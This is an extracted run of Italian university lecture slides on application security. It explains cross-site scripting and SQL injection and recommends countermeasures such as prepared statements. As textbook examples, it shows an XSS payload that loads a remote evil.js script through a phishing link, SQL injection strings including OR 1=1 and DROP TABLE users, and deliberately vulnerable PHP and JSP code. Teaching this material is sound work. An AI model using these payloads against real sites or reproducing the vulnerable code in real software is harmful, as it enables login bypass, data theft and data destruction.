  61. 61. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCross-Site Scripting (XSS) Gli attacchi di tipo XSS avvengono quando si verificano queste due condizioni: L’applicazione web acquisisce dati da una fonte non fidata (es: HTTP request o dati da database) I dati introdotti al passo precedente vengono spediti ad altri utenti (destinatari dell’attacco). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  62. 62. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: come avviene Quando un attaccante sfrutta una vulnerabilit` di tipo XSS, a l’attacco viene portato a termine spedendo al browser dell’utente attaccato del codice che viene eseguito. Tipicamente si tratta di codice Javascript, Flash, ActiveX, ma anche HTML. In un attacco XSS ` la macchina dell’utente, per mezzo del suo browser, che e viene attaccata. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  63. 63. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Possibili effetti Le potenzialit` di un attacco di tipo XSS sono molteplici. a Tipicamente includono la possibilit` per l’attaccante di catturare i a dati privati (phishing ) dell’utente attaccato tramite il suo browser. Nel 2007 ` stato stimato che l’80% degli attacchi documentati ai e siti web riguardava vulnerabilit` di tipo XSS 7 . a 7 Symantec Internal Security Threat Report: Trends for July-December 2007 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  64. 64. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: il nome Il nome Cross-Site sta a significare che il contenuto dell’attacco (il codice malizioso) che proviene da una fonte (l’attaccante), viene inserito dentro il contenuto genuino da un altro soggetto 8 . 8 http://www.cert.org/advisories/CA-2000-02.html Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  65. 65. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Categorie di attacco: Stored e Reflected Gli attacchi di tipo XSS possono essere suddivisi in due categorie: Stored: Quando il codice dello script che effettua l’attacco `e memorizzato sul server vulnerabile. In questo caso, l’utente viene attaccato quando riceve questo script. Ci` avviene o perch` l’utente richiede i dati che contengono tale script. e Reflected: Quando il server vulnerabile, tramite il quale l’attaccante porta a termine l’attacco, non ha il codice dello script malizioso, bens` provvedere a farlo avere all’utente ı attaccato per vie indirette (es: link spediti via mail, redirect di pagine web). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  66. 66. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Categorie di attacco: Stored e Reflected Gli attacchi di tipo XSS possono essere suddivisi in due categorie: Stored: Quando il codice dello script che effettua l’attacco `e memorizzato sul server vulnerabile. In questo caso, l’utente viene attaccato quando riceve questo script. Ci` avviene o perch` l’utente richiede i dati che contengono tale script. e Reflected: Quando il server vulnerabile, tramite il quale l’attaccante porta a termine l’attacco, non ha il codice dello script malizioso, bens` provvedere a farlo avere all’utente ı attaccato per vie indirette (es: link spediti via mail, redirect di pagine web). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  67. 67. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Stored Sono gli attacchi che possono essere pi` dannosi in quanto lo u script, una volta memorizzato sul server, pu` essere iniettato pi` o u volte. Un esempio tipico ` dare la possibilit` gli utenti di fare i e a post di un messaggio contenente sintassi HTML. Un esempio di Stored XSS ` 9 che consente l’accesso al filesystem e l’esecuzione e di codice per mezzo di un filmato QuickMovie su MySpace. 9 www.sophos.com/security/analyses/viruses-and-spyware/jsofigela.html Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  68. 68. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected ` E la forma pi` diffusa con cui si presenta il XSS. Si verifica quando u i dati provenienti da un client vengono manipolati da uno script sul server per produrre una pagina dinamica. Se tali dati non sono validati, le pagine risultanti potrebbero contenere riferimenti a script maliziosi. Questo potrebbe non essere considerato come un problema poich` i dati che andrebbero a causare tale attacco sono e forniti dall’utente stesso che poi verr` attaccato. Chi lo farebbe ? a Purtroppo si pu` indurre gli utenti a compiere simili azioni con o l’inganno sfruttando tecniche di social engineering. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  69. 69. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected, un esempio. Questo esempio JSP ` tratto dal libro Secure Programming with e Static Analysis che descrive una vulnerabilit` presente in a Foundations of AJAX 10 . <c:if test="${param.sayHello}"> HELLO ${param.name}! </c:if> 10 by Asleson and Schutta, 2005 Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  70. 70. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected, un esempio. Se il prametro di ingresso ` un nome (es: Pluto) come ci si e aspetterebbe, allora la pagina JSP avrebbe un comportamento normale: Hello Pluto! Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  71. 71. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected, un esempio. Se al contrario, il parametro passato a questa pagina JSP fosse il seguente: %3Cscript%20src%3D%22http%3A//example.com /evil.js%22%3E%3C/script%3E Allora il server decodificher` tale stringa come: a Hello <Script src="http://example.com/evil.js></script>! Cos` da forzare il browser ad eseguire il contenuto dello script ı evil.js. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  72. 72. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected un esempio Concreto Per portare a termine un attacco XSS sfruttando la vulnerabilit` a presentata, supponendo che la pagina JSP vulnerabile sia http://swhere.it/vuln.jsp, l’attaccante: Produce la URL maliziosa. Sfruttando tecniche di social Engineering invia una mail all’utente che vuole attaccare inserendovi il link alla URL forgiata. Inserendo nella mail il seeguente codice HTML: <a ref="http://swhere.it/vuln.jsp?name=%3Cscript...> accedi </a> Attende che l’utente acceda al link inserito nella mail. Quando ci` avviene, l’utente ` stato indotto ad eseguire lo script o e malizioso evil.js. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  73. 73. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected un esempio Concreto Per portare a termine un attacco XSS sfruttando la vulnerabilit` a presentata, supponendo che la pagina JSP vulnerabile sia http://swhere.it/vuln.jsp, l’attaccante: Produce la URL maliziosa. Sfruttando tecniche di social Engineering invia una mail all’utente che vuole attaccare inserendovi il link alla URL forgiata. Inserendo nella mail il seeguente codice HTML: <a ref="http://swhere.it/vuln.jsp?name=%3Cscript...> accedi </a> Attende che l’utente acceda al link inserito nella mail. Quando ci` avviene, l’utente ` stato indotto ad eseguire lo script o e malizioso evil.js. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  74. 74. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionXSS: Reflected un esempio Concreto Per portare a termine un attacco XSS sfruttando la vulnerabilit` a presentata, supponendo che la pagina JSP vulnerabile sia http://swhere.it/vuln.jsp, l’attaccante: Produce la URL maliziosa. Sfruttando tecniche di social Engineering invia una mail all’utente che vuole attaccare inserendovi il link alla URL forgiata. Inserendo nella mail il seeguente codice HTML: <a ref="http://swhere.it/vuln.jsp?name=%3Cscript...> accedi </a> Attende che l’utente acceda al link inserito nella mail. Quando ci` avviene, l’utente ` stato indotto ad eseguire lo script o e malizioso evil.js. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  75. 75. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionCross-Site Scripting: esempi Esempi: http://www.owasp.org/index.php/Cross-site Scripting (XSS) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  76. 76. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection Si presenta come una injection di codice SQL che il client inserisce nei dati di input di una applicazione. Questo accade quando l’applicazione crea query SQL dinamicamente ed inserendovi dei parametri acquisiti dall’esterno e non adeguatamente validati. L’obiettivo di un simile attacco ` il server di una applicazione, in e quanto pu` consentire al client di accedere al database utilizzato o dal server attaccato. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  77. 77. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: possible impatto L’attaccante pu` accedere al database e leggere, scrivere, o rimuovere dati o per effettuare operazioni di amministrazione. Ci`o dipende dalla modalit` con cui si presenta la vulnerabilit` e lo a a specifico database attaccato. Un attacco di questo tipo deve quindi essere considerato ad impatto elevato. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  78. 78. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL Injection 11SQL Injection: un esempio La pagina html ricevuta dal browser. <form action=’login.php’ method=’post’> Username: <input type=’text’ name=’user’ /> Password: <input type=’password’ name=’pwd’ /> <input type=’submit’ value=’Login’ /> </form> 11 esempio da: http://it.wikipedia.org/wiki/SQL injection Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  79. 79. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: un esempio SE la pagina login.php, invocata sottomettendo la richiesta di login con la pagina html di cui alla slide precedente, ha il seguente codice: <?php $query = "SELECT * FROM users WHERE user=’". $_POST[’user’]."’ AND pwd=’".$_POST[’pwd’]."’"; $sql = mysql_query($query,$db); if(mysql_affected_rows($sql)>0) { // a questo punto l’utente ha ottenuto // accesso autenticato } ?> Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  80. 80. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: un esempio Se un client malizioso invia alla pagina login.php, anzich` una e username ed una password, dei parametri maliziosi come i seguenti: username=a e password=’OR 1=1 Una volta che i due parametri vengono inseriti nella query string ($query), allora, la pagina login.php eseguir` la seguente query: a SELECT * FROM users WHERE user=’a’ AND pwd=’’ OR 1=1’; Ci` consente all’attaccante di accedere in maniera autenticata o poich` la query individua sempre delle righe nella tabella (il test ` e e sempre positivo). Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  81. 81. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: un esempio, poteva andare peggio In riferimento all’esempio precedente, potrebbero verificarsi attacchi con un impatto anche pi` elevato. Si pensi infatti ai casi u in cui il parametro password ricevuto dalla pagine login.php fosse stato: x’; DROP TABLE users; x’; INSERT INTO users (...) VALUES (...); l’uso del carattere ’;’ consente di concatenare un altro comando SQL alla query ! Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  82. 82. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: un esempio, poteva andare peggio In riferimento all’esempio precedente, potrebbero verificarsi attacchi con un impatto anche pi` elevato. Si pensi infatti ai casi u in cui il parametro password ricevuto dalla pagine login.php fosse stato: x’; DROP TABLE users; x’; INSERT INTO users (...) VALUES (...); l’uso del carattere ’;’ consente di concatenare un altro comando SQL alla query ! Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  83. 83. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di SQL Injection e tools Link interessanti per attacchi di tipo SQL injection sono: Esempi http://www.owasp.org/index.php/SQL Injection Esempi http://www.unixwiz.net/techtips/sql-injection.html Tool di supporto http://sqlninja.sourceforge.net/ Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  84. 84. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di SQL Injection e tools Link interessanti per attacchi di tipo SQL injection sono: Esempi http://www.owasp.org/index.php/SQL Injection Esempi http://www.unixwiz.net/techtips/sql-injection.html Tool di supporto http://sqlninja.sourceforge.net/ Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  85. 85. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionEsempi di SQL Injection e tools Link interessanti per attacchi di tipo SQL injection sono: Esempi http://www.owasp.org/index.php/SQL Injection Esempi http://www.unixwiz.net/techtips/sql-injection.html Tool di supporto http://sqlninja.sourceforge.net/ Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  86. 86. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Principali Contromisure Per prevenire attacchi di tipo SQL injection, le principali contromisure sono quelle che impediscono il verificarsi delle condizioni che rendono possibile l’attacco, e quindi: Validare opportunamente l’input (per impedire attacchi) Query Parametrizzate o Stored Procedures (per ridurre i rischi di attacco) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  87. 87. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Principali Contromisure Per prevenire attacchi di tipo SQL injection, le principali contromisure sono quelle che impediscono il verificarsi delle condizioni che rendono possibile l’attacco, e quindi: Validare opportunamente l’input (per impedire attacchi) Query Parametrizzate o Stored Procedures (per ridurre i rischi di attacco) Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  88. 88. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Query Parametrizzate Utilizzano query string gi` definita e vi sostituiscono specifici a parametri ( anzich` sostituire dei blocchi di testo come quando si e creano query string dinamicamente). Un esempio sono le Prepared Statement di Java. Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  89. 89. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Java Prepared Statement String selectStatement = "SELECT * FROM User WHERE userId = ? "; PreparedStatement prepStmt = con.prepareStatement(selectStatement); prepStmt.setString(1, userId); ResultSet rs = prepStmt.executeQuery(); Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  90. 90. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Prepared Statement Sebbene le Prepared Statement riducano i rischi di vulnerabilit`, se a non sono ben fatte, possono presentare anch’esse vulnerabilit` di a tipo SQL injection. Come ad esempio: String strUserName = request.getParameter("Txt_UserName"); PreparedStatement prepStmt = con.prepareStatement("SELECT * FROM user WHERE userId = ’+strUserName+’"); Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni
  91. 91. Outline Buffer Overflow Introduzione al corso Command Injection Sicurezza delle Applicazioni Cross-Site Scripting (XSS) Input Validation and Representation SQL InjectionSQL Injection: Stored Procedures Sono delle procedure compilate e definite sul server. Sono utili per predisporre dei batch che eseguono delle operazioni sui databases. Consentono di ottimizzare il codice, appesantendo per` le attivit` o a dei database, e rendere pi` leggibile il codice. Aiutano a limitare le u possibilit` di sfruttare attacchi di tipo SQL Injection, ma non sono a esenti da vulnerabilit`. a Docente: Prof. L. V. Mancini Sicurezza delle reti e delle Applicazioni

×